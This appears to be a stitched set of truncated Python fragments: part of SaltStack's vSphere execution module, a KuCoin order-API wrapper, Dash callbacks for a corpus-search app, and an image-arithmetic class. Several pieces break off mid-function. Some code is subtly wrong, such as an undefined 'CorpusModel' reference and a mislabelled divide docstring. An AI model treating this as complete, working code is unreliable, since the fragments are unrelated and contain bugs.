PyVmomi can be installed via pip:
.. code-block:: bash
pip install pyVmomi
.. note::
Version 6.0 of pyVmomi has some problems with SSL error handling on certain
versions of Python. If using version 6.0 of pyVmomi, Python 2.7.9,
or newer must be present. This is due to an upstream dependency
in pyVmomi 6.0 that is not supported in Python versions 2.7 to 2.7.8. If the
version of Python is not in the supported range, you will need to install an
earlier version of pyVmomi. See `Issue #29537`_ for more information.
.. _Issue #29537: https://github.com/saltstack/salt/issues/29537
Based on the note above, to install an earlier version of pyVmomi than the
version currently listed in PyPi, run the following:
.. code-block:: bash
pip install pyVmomi==5.5.0.2014.1.1
The 5.5.0.2014.1.1 is a known stable version that this original vSphere Execution
Module was developed against.
ESXCLI
------
Currently, about a third of the functions used in the vSphere Execution Module require
the ESXCLI package be installed on the machine running the Proxy Minion process.
The ESXCLI package is also referred to as the VMware vSphere CLI, or vCLI. VMware
provides vCLI package installation instructions for `vSphere 5.5`_ and
`vSphere 6.0`_.
.. _vSphere 5.5: http://pubs.vmware.com/vsphere-55/index.jsp#com.vmware.vcli.getstart.doc/cli_install.4.2.html
.. _vSphere 6.0: http://pubs.vmware.com/vsphere-60/index.jsp#com.vmware.vcli.getstart.doc/cli_install.4.2.html
Once all of the required dependencies are in place and the vCLI package is
installed, you can check to see if you can connect to your ESXi host or vCenter
server by running the following command:
.. code-block:: bash
esxcli -s <host-location> -u <username> -p <password> system syslog config get
If the connection was successful, ESXCLI was successfully installed on your system.
You should see output related to the ESXi host's syslog configuration.
.. note::
Be aware that some functionality in this execution module may depend on the
type of license attached to a vCenter Server or ESXi host(s).
For example, certain services are only available to manipulate service state
or policies with a VMware vSphere Enterprise or Enterprise Plus license, while
others are available with a Standard license. The ``ntpd`` service is restricted
to an Enterprise Plus license, while ``ssh`` is available via the Standard
license.
Please see the `vSphere Comparison`_ page for more information.
.. _vSphere Comparison: https://www.vmware.com/products/vsphere/compare
About
=====
This execution module was designed to be able to handle connections both to a
vCenter Server, as well as to an ESXi host. It utilizes the pyVmomi Python
library and the ESXCLI package to run remote execution functions against either
the defined vCenter server or the ESXi host.
Whether or not the function runs against a vCenter Server or an ESXi host depends
entirely upon the arguments passed into the function. Each function requires a
``host`` location, ``username``, and ``password``. If the credentials provided
apply to a vCenter Server, then the function will be run against the vCenter
Server. For example, when listing hosts using vCenter credentials, you'll get a
list of hosts associated with that vCenter Server:
.. code-block:: bash
# salt my-minion vsphere.list_hosts <vcenter-ip> <vcenter-user> <vcenter-password>
my-minion:
- esxi-1.example.com
- esxi-2.example.com
However, some functions should be used against ESXi hosts, not vCenter Servers.
Functionality such as getting a host's coredump network configuration should be
performed against a host and not a vCenter server. If the authentication information
you're using is against a vCenter server and not an ESXi host, you can provide the
host name that is associated with the vCenter server in the command, as a list, using
the ``host_names`` or ``esxi_host`` kwarg. For example:
.. code-block:: bash
# salt my-minion vsphere.get_coredump_network_config <vcenter-ip> <vcenter-user> \
<vcenter-password> esxi_hosts='[esxi-1.example.com, esxi-2.example.com]'
my-minion:
----------
esxi-1.example.com:
----------
Coredump Config:
----------
enabled:
False
esxi-2.example.com:
----------
Coredump Config:
----------
enabled:
True
host_vnic:
vmk0
ip:
coredump-location.example.com
port:
6500
You can also use these functions against an ESXi host directly by establishing a
connection to an ESXi host using the host's location, username, and password. If ESXi
connection credentials are used instead of vCenter credentials, the ``host_names`` and
``esxi_hosts`` arguments are not needed.
.. code-block:: bash
# salt my-minion vsphere.get_coredump_network_config esxi-1.example.com root <host-password>
local:
----------
10.4.28.150:
----------
Coredump Config:
----------
enabled:
True
host_vnic:
vmk0
ip:
coredump-location.example.com
port:
6500
'''
# Import Python Libs
from __future__ import absolute_import
import datetime
import logging
import sys
import inspect
from functools import wraps
# Import Salt Libs
from salt.ext import six
import salt.utils
import salt.utils.args
import salt.utils.dictupdate as dictupdate
import salt.utils.http
import salt.utils.path
import salt.utils.vmware
import salt.utils.vsan
import salt.utils.pbm
from salt.exceptions import CommandExecutionError, VMwareSaltError, \
ArgumentValueError, InvalidConfigError, VMwareObjectRetrievalError, \
VMwareApiError, InvalidEntityError, VMwareObjectExistsError
from salt.utils.decorators import depends, ignores_kwargs
from salt.config.schemas.esxcluster import ESXClusterConfigSchema, \
ESXClusterEntitySchema
from salt.config.schemas.vcenter import VCenterEntitySchema
from salt.config.schemas.esxi import DiskGroupsDiskIdSchema, \
VmfsDatastoreSchema, SimpleHostCacheSchema
log = logging.getLogger(__name__)
# Import Third Party Libs
try:
import jsonschema
HAS_JSONSCHEMA = True
except ImportError:
HAS_JSONSCHEMA = False
try:
from pyVmomi import vim, vmodl, pbm, VmomiSupport
# We check the supported vim versions to infer the pyVmomi version
if 'vim25/6.0' in VmomiSupport.versionMap and \
sys.version_info > (2, 7) and sys.version_info < (2, 7, 9):
log.error('pyVmomi not loaded: Incompatible versions '
'of Python. See Issue #29537.')
raise ImportError()
HAS_PYVMOMI = True
except ImportError:
HAS_PYVMOMI = False
esx_cli = salt.utils.path.which('esxcli')
if esx_cli:
HAS_ESX_CLI = True
else:
HAS_ESX_CLI = False
__virtualname__ = 'vsphere'
__proxyenabled__ = ['esxi', 'esxcluster', 'esxdatacenter', 'vcenter']
def __virtual__():
return __virtualname__
def get_proxy_type():
'''
Returns the proxy type retrieved either from the pillar of from the proxy
minion's config. Returns ``<undefined>`` otherwise.
CLI Example:
.. code-block:: bash
salt '*' vsphere.get_proxy_type
'''
if __pillar__.get('proxy', {}).get('proxytype'):
return __pillar__['proxy']['proxytype']
if __opts__.get('proxy', {}).get('proxytype'):
return __opts__['proxy']['proxytype']
return '<undefined>'
def _get_proxy_connection_details():
'''
Returns the connection details of the following proxies: esxi
'''
proxytype = get_proxy_type()
if proxytype == 'esxi':
details = __salt__['esxi.get_details']()
elif proxytype == 'esxcluster':
details = __salt__['esxcluster.get_details']()
elif proxytype == 'esxdatacenter':
details = __salt__['esxdatacenter.get_details']()
elif proxytype == 'vcenter':
details = __salt__['vcenter.get_details']()
else:
raise CommandExecutionError('\'{0}\' proxy is not supported'
''.format(proxytype))
return \
details.get('vcenter') if 'vcenter' in details \
else details.get('host'), \
details.get('username'), \
details.get('password'), details.get('protocol'), \
details.get('port'), details.get('mechanism'), \
details.get('principal'), details.get('domain')
def supports_proxies(*proxy_types):
'''
Decorator to specify which proxy types are supported by a function
proxy_types:
Arbitrary list of strings with the supported types of proxies
'''
def _supports_proxies(fn):
@wraps(fn)
def __supports_proxies(*args, **kwargs):
proxy_type = get_proxy_type()
if proxy_type not in proxy_types:
raise CommandExecutionError(
'\'{0}\' proxy is not supported by function {1}'
''.format(proxy_type, fn.__name__))
return fn(*args, **salt.utils.args.clean_kwargs(**kwargs))
return __supports_proxies
return _supports_proxies
def gets_service_instance_via_proxy(fn):
'''
Decorator that connects to a target system (vCenter or ESXi host) using the
proxy details and passes the connection (vim.ServiceInstance) to
the decorated function.
Supported proxies: esxi, esxcluster, esxdatacenter.
Notes:
1. The decorated function must have a ``service_instance`` parameter
or a ``**kwarg`` type argument (name of argument is not important);
2. If the ``service_instance`` parameter is already defined, the value
is passed through to the decorated function;
3. If the ``service_instance`` parameter in not defined, the
connection is created using the proxy details and the service instance
is returned.
CLI Example:
None, this is a decorator
'''
fn_name = fn.__name__
try:
arg_names, args_name, kwargs_name, default_values, _, _, _ = \
inspect.getfullargspec(fn)
except AttributeError:
# Fallback to Python 2.7
arg_names, args_name, kwargs_name, default_values = \
inspect.getargspec(fn)
default_values = default_values if default_values is not None else []
@wraps(fn)
def _gets_service_instance_via_proxy(*args, **kwargs):
if 'service_instance' not in arg_names and not kwargs_name:
raise CommandExecutionError(
'Function {0} must have either a \'service_instance\', or a '
'\'**kwargs\' type parameter'.format(fn_name))
connection_details = _get_proxy_connection_details()
# Figure out how to pass in the connection value
local_service_instance = None
if 'service_instance' in arg_names:
idx = arg_names.index('service_instance')
if idx >= len(arg_names) - len(default_values):
# 'service_instance' has a default value:
# we check if we need to instantiate it or
# pass it through
#
# NOTE: if 'service_instance' doesn't have a default value
# it must be explicitly set in the function call so we pass it
# through
# There are two cases:
# 1. service_instance was passed in as a positional parameter
# 2. service_instance was passed in as a named paramter
if len(args) > idx:
# case 1: The call was made with enough positional
# parameters to include 'service_instance'
if not args[idx]:
local_service_instance = \
salt.utils.vmware.get_service_instance(
*connection_details)
args[idx] = local_service_instance
else:
# case 2: Not enough positional parameters so
# 'service_instance' must be a named parameter
if not kwargs.get('service_instance'):
local_service_instance = \
salt.utils.vmware.get_service_instance(
*connection_details)
| |
from kucoin.base_request.base_request import KucoinBaseRestApi
class TradeData(KucoinBaseRestApi):
def create_limit_order(self, symbol, side, size, price, clientOid='', **kwargs):
"""
https://docs.kucoin.com/#place-a-new-order
:param symbol: a valid trading symbol code (Mandatory)
:type: str
:param side: place direction buy or sell (Mandatory)
:type: str
:param size: amount of base currency to buy or sell (Mandatory)
:type: str
:param price: price per base currency (Mandatory)
:type: str
:param clientOid: Unique order id created by users to identify their orders, e.g. UUID. (Mandatory)
:type: str
:param kwargs: Fill in parameters with reference documents
:return: {'orderId': '5d9ee461f24b80689797fd04'}
"""
params = {
'symbol': symbol,
'size': size,
'side': side,
'price': price,
'type': "limit"
}
if not clientOid:
clientOid = self.return_unique_id
params['clientOid'] = clientOid
if kwargs:
params.update(kwargs)
return self._request('POST', '/api/v1/orders', params=params)
def create_limit_stop_order(self, symbol, side, size, price, stopPrice, clientOid="", **kwargs):
params = {
'symbol': symbol,
'size': size,
'side': side,
'price': price,
'stopPrice': stopPrice,
'type': "limit"
}
if not clientOid:
clientOid = self.return_unique_id
params['clientOid'] = clientOid
if kwargs:
params.update(kwargs)
return self._request('POST', '/api/v1/stop-order', params=params)
def create_market_stop_order(self, symbol, side, stopPrice, size="", funds="", clientOid="", **kwargs):
params = {
'symbol': symbol,
'side': side,
'stopPrice': stopPrice,
'type': "market"
}
if not clientOid:
clientOid = self.return_unique_id
params['clientOid'] = clientOid
if size:
params['size'] = size
elif funds:
params['funds'] = funds
else:
raise Exception('Funds or size')
if kwargs:
params.update(kwargs)
return self._request('POST', '/api/v1/stop-order', params=params)
def create_market_order(self, symbol, side, clientOid='', **kwargs):
"""
https://docs.kucoin.com/#place-a-new-order
:param symbol: a valid trading symbol code (Mandatory)
:type: str
:param side: place direction buy or sell (Mandatory)
:type: str
:param clientOid: Unique order id created by users to identify their orders, e.g. UUID. (Mandatory)
:type: str
:param kwargs: Fill in parameters with reference documents
:return: {'orderId': '5d9ee461f24b80689797fd04'}
"""
params = {
'symbol': symbol,
'side': side
}
if not clientOid:
clientOid = self.return_unique_id
params['clientOid'] = clientOid
if kwargs:
params.update(kwargs)
return self._request('POST', '/api/v1/orders', params=params)
def create_bulk_orders(self, side, symbol, price, size, clientOid='', **kwargs):
"""
https://docs.kucoin.com/#place-bulk-orders
:param side: place direction buy or sell (Mandatory)
:type: str
:param symbol: a valid trading symbol code (Mandatory)
:type: str
:param price: price per base currency (Mandatory)
:type: str
:param size: amount of base currency to buy or sell (Mandatory)
:type: str
:param clientOid: Unique order id created by users to identify their orders, e.g. UUID. (Mandatory)
:type: str
:param kwargs: Fill in parameters with reference documents
:return:
{
"success": true, // RESPONSE
"code": "200",
"msg": "success",
"retry": false,
"data": {
"data": [
{
"symbol": "BTC-USDT",
"type": "limit",
"side": "buy",
"price": "9661",
"size": "1",
"funds": null,
"stp": "",
"stop": "",
"stopPrice": "0",
"timeInForce": "GTC",
"cancelAfter": 0,
"postOnly": false,
"hidden": false,
"iceberge": false,
"iceberg": false,
"visibleSize": "0",
"channel": "API",
"id": null,
"status": "fail",
"failMsg": "error.createOrder.accountBalanceInsufficient",
"clientOid": "5e42743514832d53d255d921"
}
]
}
}
"""
params = {
'side': side,
'symbol': symbol,
'price': price,
'size': size
}
if not clientOid:
clientOid = self.return_unique_id
params['clientOid'] = clientOid
if kwargs:
params.update(kwargs)
return self._request('POST', '/api/v1/orders/multi', params=params)
def cancel_client_order(self, clientId):
"""
:param orderId: str (Mandatory)
:return:{"cancelledOrderId": "5f311183c9b6d539dc614db3","clientOid": "6d539dc614db3"}
"""
return self._request('DELETE', f'/api/v1/order/client-order/{clientId}')
def cancel_stop_order(self, orderId):
"""
:param orderId: Order ID, unique ID of the order. (Mandatory)
:type: str
:return:
{
"cancelledOrderIds": [
"5bd6e9286d99522a52e458de" //orderId
]
}
"""
return self._request('DELETE', f'/api/v1/stop-order/{orderId}')
def cancel_client_stop_order(self, clientOid, symbol=""):
"""
:param orderId: Order ID, unique ID of the order. (Mandatory)
:type: str
:return:
{
"cancelledOrderIds": [
"5bd6e9286d99522a52e458de" //orderId
]
}
"""
params = {
"clientOid": clientOid
}
if symbol:
params["symbol"] = symbol
return self._request('DELETE', f'/api/v1/stop-order/cancelOrderByClientOid', params=params)
def cancel_stop_condition_order(self, symbol="", tradeType="", orderIds=""):
"""
"""
params = {}
if symbol:
params["symbol"] = symbol
if tradeType:
params["tradeType"] = tradeType
if orderIds:
params["orderIds"] = orderIds
return self._request('DELETE', f'/api/v1/stop-order/cancel',params=params)
def cancel_order(self, orderId):
"""
https://docs.kucoin.com/#cancel-an-order
:param orderId: Order ID, unique ID of the order. (Mandatory)
:type: str
:return:
{
"cancelledOrderIds": [
"5bd6e9286d99522a52e458de" //orderId
]
}
"""
return self._request('DELETE', '/api/v1/orders/{orderId}'.format(orderId=orderId))
def cancel_all_orders(self, **kwargs):
"""
https://docs.kucoin.com/#cancel-all-orders
:param kwargs: [optional] symbol, tradeType
:return:
{
"cancelledOrderIds": [
"5c52e11203aa677f33e493fb", //orderId
"5c52e12103aa677f33e493fe",
"5c52e12a03aa677f33e49401",
"5c52e1be03aa677f33e49404",
"5c52e21003aa677f33e49407",
"5c6243cb03aa67580f20bf2f",
"5c62443703aa67580f20bf32",
"5c6265c503aa676fee84129c",
"5c6269e503aa676fee84129f",
"5c626b0803aa676fee8412a2"
]
}
"""
params = {}
if kwargs:
params.update(kwargs)
return self._request('DELETE', '/api/v1/orders', params=params)
def get_order_list(self, **kwargs):
"""
https://docs.kucoin.com/#list-orders
:param kwargs: [optional] symbol, status, side, type, tradeType, startAt, endAt, currentPage, pageSize and so on
:return:
{
"currentPage": 1,
"pageSize": 1,
"totalNum": 153408,
"totalPage": 153408,
"items": [
{
"id": "5c35c02703aa673ceec2a168", //orderid
"symbol": "BTC-USDT", //symbol
"opType": "DEAL", // operation type: DEAL
"type": "limit", // order type,e.g. limit,market,stop_limit.
"side": "buy", // transaction direction,include buy and sell
"price": "10", // order price
"size": "2", // order quantity
"funds": "0", // order funds
"dealFunds": "0.166", // deal funds
"dealSize": "2", // deal quantity
"fee": "0", // fee
"feeCurrency": "USDT", // charge fee currency
"stp": "", // self trade prevention,include CN,CO,DC,CB
"stop": "", // stop type
"stopTriggered": false, // stop order is triggered
"stopPrice": "0", // stop price
"timeInForce": "GTC", // time InForce,include GTC,GTT,IOC,FOK
"postOnly": false, // postOnly
"hidden": false, // hidden order
"iceberg": false, // iceberg order
"visibleSize": "0", // display quantity for iceberg order
"cancelAfter": 0, // cancel orders time,requires timeInForce to be GTT
"channel": "IOS", // order source
"clientOid": "", // user-entered order unique mark
"remark": "", // remark
"tags": "", // tag order source
"isActive": false, // status before unfilled or uncancelled
"cancelExist": false, // order cancellation transaction record
"createdAt": 1547026471000, // create time
"tradeType": "TRADE"
}
]
}
"""
params = {}
if kwargs:
params.update(kwargs)
return self._request('GET', '/api/v1/orders', params=params)
def get_recent_orders(self):
"""
https://docs.kucoin.com/#recent-orders
:return:
{
"currentPage": 1,
"pageSize": 1,
"totalNum": 153408,
"totalPage": 153408,
"items": [
{
"id": "5c35c02703aa673ceec2a168",
"symbol": "BTC-USDT",
"opType": "DEAL",
"type": "limit",
"side": "buy",
"price": "10",
"size": "2",
"funds": "0",
"dealFunds": "0.166",
"dealSize": "2",
"fee": "0",
"feeCurrency": "USDT",
"stp": "",
"stop": "",
"stopTriggered": false,
"stopPrice": "0",
"timeInForce": "GTC",
"postOnly": false,
"hidden": false,
"iceberg": false,
"visibleSize": "0",
"cancelAfter": 0,
"channel": "IOS",
"clientOid": "",
"remark": "",
"tags": "",
"isActive": false,
"cancelExist": false,
"createdAt": 1547026471000,
"tradeType": "TRADE"
}
]
}
"""
return self._request('GET', '/api/v1/limit/orders')
def get_order_details(self, orderId):
"""
https://docs.kucoin.com/#get-an-order
:param orderId: Order ID, unique identifier of an order, obtained via the List orders. (Mandatory)
:return:
{
"id": "5c35c02703aa673ceec2a168",
"symbol": "BTC-USDT",
"opType": "DEAL",
"type": "limit",
"side": "buy",
"price": "10",
"size": "2",
"funds": "0",
"dealFunds": "0.166",
"dealSize": "2",
"fee": "0",
"feeCurrency": "USDT",
"stp": "",
"stop": "",
"stopTriggered": false,
"stopPrice": "0",
"timeInForce": "GTC",
"postOnly": false,
"hidden": false,
"iceberg": false,
"visibleSize": "0",
"cancelAfter": 0,
"channel": "IOS",
"clientOid": "",
"remark": "",
"tags": "",
"isActive": false,
"cancelExist": false,
"createdAt": 1547026471000,
"tradeType": "TRADE"
}
"""
return self._request('GET', '/api/v1/orders/{orderId}'.format(orderId=orderId))
def get_all_stop_order_details(self, **kwargs):
"""
:param orderId: Order ID, unique identifier of an order, obtained via the List orders. (Mandatory)
:return:
{
"id": "5c35c02703aa673ceec2a168",
"symbol": "BTC-USDT",
"opType": "DEAL",
"type": "limit",
"side": "buy",
"price": "10",
"size": "2",
"funds": "0",
"dealFunds": "0.166",
"dealSize": "2",
"fee": "0",
"feeCurrency": "USDT",
"stp": "",
"stop": "",
"stopTriggered": false,
"stopPrice": "0",
"timeInForce": "GTC",
"postOnly": false,
"hidden": false,
"iceberg": false,
"visibleSize": "0",
"cancelAfter": 0,
"channel": "IOS",
"clientOid": "",
"remark": "",
"tags": "",
"isActive": false,
"cancelExist": false,
"createdAt": 1547026471000,
"tradeType": "TRADE"
}
"""
params = {}
if kwargs:
params.update(kwargs)
return self._request('GET', f'/api/v1/stop-order', params=params)
def get_stop_order_details(self, orderId):
"""
:param orderId: Order ID, unique identifier of an order, obtained via the List orders. (Mandatory)
:return:
{
"id": "5c35c02703aa673ceec2a168",
"symbol": "BTC-USDT",
"opType": "DEAL",
"type": "limit",
"side": "buy",
"price": "10",
"size": "2",
"funds": "0",
"dealFunds": "0.166",
"dealSize": "2",
"fee": "0",
"feeCurrency": "USDT",
"stp": "",
"stop": "",
"stopTriggered": false,
"stopPrice": "0",
"timeInForce": "GTC",
"postOnly": false,
"hidden": false,
"iceberg": false,
"visibleSize": "0",
"cancelAfter": 0,
"channel": "IOS",
"clientOid": "",
"remark": "",
"tags": "",
"isActive": false,
"cancelExist": false,
"createdAt": 1547026471000,
"tradeType": "TRADE"
}
"""
return self._request('GET', f'/api/v1/stop-order/{orderId}')
def get_client_stop_order_details(self, clientOid, symbol=''):
"""
:param orderId: Order ID, unique identifier of an order, obtained via the List orders. (Mandatory)
:return:
{
"id": "5c35c02703aa673ceec2a168",
"symbol": "BTC-USDT",
"opType": "DEAL",
"type": "limit",
"side": "buy",
"price": "10",
"size": "2",
"funds": "0",
"dealFunds": "0.166",
"dealSize": "2",
"fee": "0",
"feeCurrency": "USDT",
"stp": "",
"stop": "",
"stopTriggered": false,
"stopPrice": "0",
"timeInForce": "GTC",
"postOnly": false,
"hidden": false,
"iceberg": false,
"visibleSize": "0",
"cancelAfter": 0,
"channel": "IOS",
"clientOid": "",
"remark": "",
"tags": "",
"isActive": false,
"cancelExist": false,
| |
<gh_stars>0
"""
buzzword explorer: callbacks
"""
import pandas as pd
from buzz.exceptions import DataTypeError
from dash import no_update
from dash.dependencies import Input, Output, State
from dash.exceptions import PreventUpdate
from explore.models import Corpus
from django.conf import settings
from .chart import _df_to_figure
from .helpers import (
_add_links_to_conc,
_cast_query,
_get_specs_and_corpus,
_special_search,
_translate_relative,
_tuple_or_list,
_update_concordance,
_update_conll,
_update_frequencies,
)
from .main import CORPORA, INITIAL_TABLES, app
from .strings import _make_search_name, _make_table_name, _search_error, _table_error
# we can't keep tables in dcc.store, they are too big. so we keep all here with
# a tuple that can identify them (ideally, even dealing with user sessions)
FREQUENCY_TABLES = dict()
@app.expanded_callback(
[Output("input-box", "placeholder"), Output("gram-select", "disabled")],
[Input("search-target", "value")],
)
def _correct_placeholder(value, **kwargs):
"""
More accurate placeholder text when doing dependencies
"""
default = "Enter regular expression search query..."
mapped = {
"t": "Enter Tgrep2 query...",
"d": "Enter depgrep query",
"describe": 'Enter depgrep query (e.g. l"man" = f"nsubj")',
}
disable_gram = value in mapped
return mapped.get(value, default), disable_gram
@app.expanded_callback(
[
Output("tab-dataset", "style"),
Output("tab-frequencies", "style"),
Output("tab-chart", "style"),
Output("tab-concordance", "style"),
],
[Input("tabs", "value")],
[State("search-from", "value")],
)
def render_content(tab, search_from, **kwargs):
"""
Tab display callback. If the user clicked this tab, show it, otherwise hide
"""
outputs = []
for i in ["dataset", "frequencies", "chart", "concordance"]:
if tab == i:
outputs.append({"display": "block"})
else:
outputs.append({"display": "none"})
return outputs
# one for each chart space
for i in range(1, 6):
@app.expanded_callback(
Output(f"chart-{i}", "figure"),
[Input(f"figure-button-{i}", "n_clicks")],
[
State(f"chart-from-{i}", "value"),
State(f"chart-type-{i}", "value"),
State(f"chart-top-n-{i}", "value"),
State(f"chart-transpose-{i}", "on"),
State("session-tables", "data"),
State("slug", "title"),
],
)
def _new_chart(
n_clicks,
table_from,
chart_type,
top_n,
transpose,
session_tables,
slug,
**kwargs,
):
"""
Make new chart by kind. Do it 5 times, once for each chart space
"""
# before anything is loaded, do nothing
if n_clicks is None:
return no_update
# get correct dataset to chart
conf = Corpus.objects.get(slug=slug)
if str(table_from) in session_tables:
this_table = session_tables[str(table_from)]
df = FREQUENCY_TABLES[_tuple_or_list(this_table, tuple)]
else:
df = INITIAL_TABLES[slug]
# transpose and cut down items to plot
if transpose:
df = df.T
df = df.iloc[:, :top_n]
# generate chart
return _df_to_figure(df, chart_type)
@app.expanded_callback(
[Output("loading-main", "className"), Output("loading-main", "fullscreen")],
[Input("everything", "children")],
[],
)
def _on_load_callback(n_clicks, **kwargs):
"""
This gets triggered on load; we use it to fix loading screen
"""
return "loading-non-main", False
@app.callback(
[
Output("conll-view", "columns"),
Output("conll-view", "data"),
Output("search-from", "options"),
Output("search-from", "value"),
Output("search-from", "disabled"),
Output("dialog-search", "displayed"),
Output("dialog-search", "message"),
Output("conll-view", "row_deletable"),
Output("session-search", "data"),
Output("session-clicks-clear", "data"),
Output("session-clicks-show", "data"),
],
[
Input("search-button", "n_clicks"),
Input("clear-history", "n_clicks"),
Input("show-this-dataset", "n_clicks"),
],
[
State("search-from", "value"),
State("skip-switch", "on"),
State("search-target", "value"),
State("input-box", "value"),
State("use-regex", "on"),
State("gram-select", "value"),
State("search-from", "options"),
State("session-search", "data"),
State("session-clicks-clear", "data"),
State("session-clicks-show", "data"),
State("slug", "title"),
],
)
def _new_search(
n_clicks,
cleared,
show_dataset,
search_from,
skip,
col,
search_string,
no_use_regex,
gram_select,
search_from_options,
session_search,
session_clicks_clear,
session_clicks_show,
slug,
**kwargs,
):
"""
Callback when a new search is submitted
Validate input, run the search, store data and display things
"""
# the first callback, before anything is loaded
if n_clicks is None:
return [no_update] * 11
conf = Corpus.objects.get(slug=slug)
max_row, max_col = settings.TABLE_SIZE
specs, corpus = _get_specs_and_corpus(search_from, session_search, CORPORA, slug)
# user clicked the show button, show search_from
if show_dataset and show_dataset != session_clicks_show:
session_clicks_show = show_dataset
editable = bool(search_from)
cols, data = _update_conll(corpus, editable, drop_govs=conf.add_governor)
return [
cols,
data,
no_update,
no_update,
no_update,
no_update,
no_update,
no_update,
no_update,
no_update,
session_clicks_show,
]
msg = _search_error(col, search_string)
if msg:
return [
no_update,
no_update,
no_update,
no_update,
False,
True,
msg,
False,
no_update,
no_update,
no_update,
]
new_value = len(session_search) + 1
# on first search, spec is slug name, so it goes here.
this_search = [specs, col, skip, search_string, gram_select]
exists = next(
(i for i in session_search.values() if this_search == list(i)[:5]), False
)
if exists:
msg = "Table already exists. Switching to that one to save memory."
df = corpus.iloc[exists[-1]]
# if the user has done clear history
if cleared and cleared != session_clicks_clear:
session_search.clear()
corpus = CORPORA[slug]
corpus_size = len(corpus)
corpus = corpus.iloc[:max_row, :max_col]
cols, data = _update_conll(corpus, False, drop_govs=conf.add_governor)
name = _make_search_name(conf.name, corpus_size, session_search)
search_from = [dict(value=0, label=name)]
# set number of clicks at last moment
session_clicks_clear = cleared
return (
cols,
data,
search_from,
0,
True,
False,
"",
False,
session_search,
session_clicks_clear,
session_clicks_show,
)
found_results = True
if not exists:
# todo: more cleanup for this, it's ugly!
# tricky searches
if col in {"t", "d", "describe"}:
df, msg = _special_search(corpus, col, search_string, skip)
# do ngramming stuff
if gram_select:
df = getattr(corpus.near, col)(search_string, distance=gram_select)
# skip/just searches
elif col not in {"t", "d", "describe"}:
search = _cast_query(search_string, col)
method = "just" if not skip else "skip"
if not no_use_regex:
extra = dict(regex=False, exact_match=True)
else:
extra = dict()
try:
df = getattr(getattr(corpus, method), col)(search, **extra)
# todo: tell the user the problem?
except DataTypeError:
df = df.iloc[:0, :0]
msg = "Query type problem. Query is {}, col {} is {}."
if isinstance(search, list):
search = search[0]
msg = msg.format(type(search), col, corpus[col].dtype)
# if there are no results
if not len(df) and not msg:
found_results = False
msg = "No results found, sorry."
this_search += [new_value, len(df), list(df["_n"])]
if found_results:
session_search[new_value] = _tuple_or_list(this_search, list)
corpus = CORPORA[slug]
df = df.iloc[:max_row, :max_col]
current_cols, current_data = _update_conll(df, True, conf.add_governor)
else:
current_cols, current_data = no_update, no_update
if not msg:
name = _make_search_name(this_search, len(corpus), session_search)
new_option = dict(value=new_value, label=name)
index_for_option = next(
i for i, s in enumerate(search_from_options) if s["value"] == search_from
)
search_from_options.insert(index_for_option + 1, new_option)
elif exists:
new_value = exists[-3]
else:
new_value = search_from
return (
current_cols,
current_data,
search_from_options,
new_value,
False,
bool(msg),
msg,
True,
session_search,
session_clicks_clear,
session_clicks_show,
)
@app.expanded_callback(
[
Output("freq-table", "columns"),
Output("freq-table", "data"),
Output("freq-table", "editable"),
Output("chart-from-1", "value"),
Output("chart-from-1", "options"),
Output("chart-from-2", "options"),
Output("chart-from-3", "options"),
Output("chart-from-4", "options"),
Output("chart-from-5", "options"),
Output("dialog-table", "displayed"),
Output("dialog-table", "message"),
Output("freq-table", "row_deletable"),
Output("session-tables", "data"),
Output("session-clicks-table", "data"),
],
[
Input("table-button", "n_clicks"),
Input("freq-table", "columns_previous"),
Input("freq-table", "data_previous"),
],
[
State("freq-table", "columns"),
State("freq-table", "data"),
State("search-from", "value"),
State("show-for-table", "value"),
State("subcorpora-for-table", "value"),
State("relative-for-table", "value"),
State("sort-for-table", "value"),
State("multiindex-switch", "on"),
State("content-table-switch", "on"),
State("chart-from-1", "options"),
State("chart-from-1", "value"),
State("session-search", "data"),
State("session-tables", "data"),
State("session-clicks-table", "data"),
State("slug", "title"),
],
)
def _new_table(
n_clicks,
prev_cols,
prev_data,
current_cols,
current_data,
search_from,
show,
subcorpora,
relkey,
sort,
multiindex_columns,
content_table,
table_from_options,
nv1,
session_search,
session_tables,
session_click_table,
slug,
**kwargs,
):
"""
Callback when a new freq table is generated. Same logic as new_search.
"""
# do nothing if not yet loaded
if n_clicks is None:
raise PreventUpdate
conf = CorpusModel.objects.get(slug=slug)
# because no option below can return initial table, rows can now be deleted
row_deletable = True
specs, corpus = _get_specs_and_corpus(search_from, session_search, CORPORA, slug)
# figure out sort, subcorpora,relative and keyness
sort = sort or "total"
if subcorpora == "_corpus":
subcorpora = None
relative, keyness = _translate_relative(relkey)
# check if there are any validation problems
if session_click_table != n_clicks:
updating = False
session_click_table = n_clicks
elif prev_data is not None:
# if number of rows has changed
if len(prev_data) != len(current_data):
updating = True
# if number of columns has changed
if len(prev_data[0]) != len(current_data[0]):
updating = True
msg = _table_error(show, subcorpora, updating)
this_table_list = [
specs,
list(show),
subcorpora,
relative,
keyness,
sort,
multiindex_columns,
content_table,
]
this_table_tuple = _tuple_or_list(this_table_list, tuple)
# if table already made, use that one
key = next((k for k, v in session_tables.items() if this_table_list == v), False)
idx = key if key is not False else len(session_tables) + 1
# if we are updating the table:
if updating:
# get the whole table from master dict of them
table = FREQUENCY_TABLES[this_table_tuple]
# fix rows and columns
table = table[[i["id"] for i in current_cols[1:]]]
table = table.loc[[i["_" + table.index.name] for i in current_data]]
# store table again with same key
FREQUENCY_TABLES[this_table_tuple] = table
elif key is not False:
msg = "Table already exists. Switching to that one to save memory."
table = FREQUENCY_TABLES[this_table_tuple]
# if there was a validation problem, juse use last table (?)
elif msg:
if session_tables:
# todo: figure this out...use current table instead?
key, value = list(session_tables.items())[-1]
table = FREQUENCY_TABLES[_tuple_or_list(value, tuple)]
# todo: more here?
else:
table = INITIAL_TABLES[slug]
else:
# generate table
method = "table" if not content_table else "content_table"
table = getattr(corpus, method)(
show=show,
subcorpora=subcorpora,
relative=relative if relative != "corpus" else CORPORA[slug],
keyness=keyness,
sort=sort,
multiindex_columns=multiindex_columns,
show_frequencies=relative is not False and relative is not None,
)
# round df if floats | |
if self.dimensionsMatch(other):
self.px = self.px * other.getPixelMap()
def divideImage(self, other):
""" Multiply pixel values by another image. """
if self.dimensionsMatch(other):
self.px = self.px / other.getPixelMap()
def square(self):
self.px *= self.px
def sqrt(self):
self.px = numpy.sqrt(self.px)
def add(self, value):
self.px += value
def subtract(self, value):
self.px -= value
def multiply(self, value):
self.px *= value
def divide(self, value):
""" Divide all pixels values by given scalar value. """
self.px = self.px / float(value)
def invert(self, min=0, maximum=65535):
self.px = maximum - self.px
